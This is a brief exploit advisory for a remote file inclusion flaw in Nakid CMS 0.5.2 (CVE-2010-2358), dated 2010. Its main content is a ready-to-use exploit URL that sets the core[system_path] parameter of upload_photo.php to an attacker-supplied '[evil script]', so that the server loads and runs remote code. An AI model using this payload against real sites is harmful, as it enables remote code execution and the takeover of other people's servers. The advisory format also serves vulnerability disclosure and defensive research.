Nakid CMS 0.5.2 - Remote File Inclusion

Related Vulnerabilities: CVE-2010-2358  
Publish Date: 16 Jun 2010
Author: sh00t0ut
                [~] Nakid CMS 0.5.2 Remote Include Exploit
[~] Found by sh00t0ut
[~] Expl: http://[victim]/modules/catalog/upload_photo.php?core[system_path]=[evil script]